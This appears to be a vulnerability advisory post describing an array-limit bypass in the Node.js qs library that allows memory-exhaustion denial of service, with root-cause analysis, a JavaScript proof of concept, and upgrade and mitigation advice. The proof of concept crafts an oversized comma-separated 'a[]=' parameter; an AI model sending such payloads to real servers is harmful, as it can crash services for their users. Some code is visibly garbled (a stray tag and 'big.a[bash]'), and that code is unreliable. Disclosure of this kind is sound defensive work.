Listen to this Post
The `qs` library is a popular querystring parsing utility for Node.js, offering features like nesting and array support with configurable limits. In versions 6.14.2 through 6.15.3, a vulnerability exists that allows attackers to bypass the `arrayLimit` and `throwOnLimitExceeded` protections when the `comma: true` option is enabled.
The root cause lies in the `parseArrayValue()` function within lib/parse.js. When parsing a bracket-key input like a[]=1,2,3,4, the library treats the value as “non-flat”. The comma-separated string is split into an array and then wrapped as a single nested element (val =
</code>). The `arrayLimit` check, which was added in version 6.14.2 to address a previous vulnerability (CVE-2026-2391), runs after this wrapping process. Consequently, for `[]=` keys, the check only evaluates the wrapper of length 1, completely bypassing the limit. Version 6.15.3 attempted to fix this by adding a pre-split comma count. However, this new check was gated behind an `isFlatArrayValue` flag. The `parseValues` function sets this flag to `false` for any part containing <code>[]=</code>, effectively disabling the new protection for the very input it was meant to secure. As a result, a single query parameter like `a[]=1,2,3,...,N` can produce an inner array of arbitrary length. An attacker can supply a query string or form body to bypass configured array limits and force excessive memory allocation, leading to a denial of service (DoS). <h2 style="color: blue;">DailyCVE Form:</h2> Platform: Node.js (qs) Version: 6.14.2 - 6.15.3 Vulnerability: Array Limit Bypass Severity: Medium (CVSS 3.7) date: 2026-08-31 <h2 style="color: blue;">Prediction: 2026-09-02 (Already Patched in v6.16.0)</h2> <h2 style="color: blue;">What Undercode Say:</h2> [bash] Check installed version of qs npm list qs Check for vulnerable versions (6.14.2 through 6.15.3) npm audit | grep qs
Exploit: (Educational Purposes!)
const qs = require('qs');
// Configure parser with strict limits
const options = {
comma: true,
arrayLimit: 3, // Only allow 3 elements
throwOnLimitExceeded: true // Should throw an error
};
// 1. The flat key input correctly throws a RangeError
try {
qs.parse('a=1,2,3,4', options);
} catch (e) {
console.log('Flat key (a=1,2,3,4) ->', e.message);
// RangeError: Array limit exceeded. Only 3 elements allowed
}
// 2. The bracket-key input bypasses the limit
const result = qs.parse('a[]=1,2,3,4', options);
console.log('Bracket key (a[]=1,2,3,4) ->', result);
// { a: [ [ '1', '2', '3', '4' ] ] } (no error)
// 3. Massive array allocation (DoS)
const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', {
comma: true,
arrayLimit: 20,
throwOnLimitExceeded: true
});
console.log('Allocated inner array length:', big.a[bash].length);
// 1000001 elements allocated
Protection:
- Immediate Upgrade: The most effective protection is to upgrade to `qs` version 6.16.0 or later. The fix, applied in commit
8859c37, removes the `isFlatArrayValue` gate, ensuring the `arrayLimit` check is applied to all comma-separated values before splitting. - Alternative Mitigation: If an immediate upgrade is not possible, consider disabling the `comma: true` option in your application's `qs.parse()` configuration. This prevents the library from parsing comma-separated values into arrays, eliminating the attack vector.
- Input Validation: Implement additional application-level validation and sanitization on user-supplied query strings and form data to reject unexpectedly large inputs before they reach the `qs` parser.
Impact
An unauthenticated attacker who can control the query string or form body of an application using a vulnerable `qs` version can exploit this flaw. By sending a single parameter like `a[]=` followed by a very long comma-separated list, they can force the server to allocate an arbitrarily large array in memory. This can lead to excessive memory consumption, potentially causing the Node.js process to run out of memory and crash, resulting in a Denial of Service (DoS). All versions from 6.14.2 through 6.15.3 are affected by this specific bypass.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
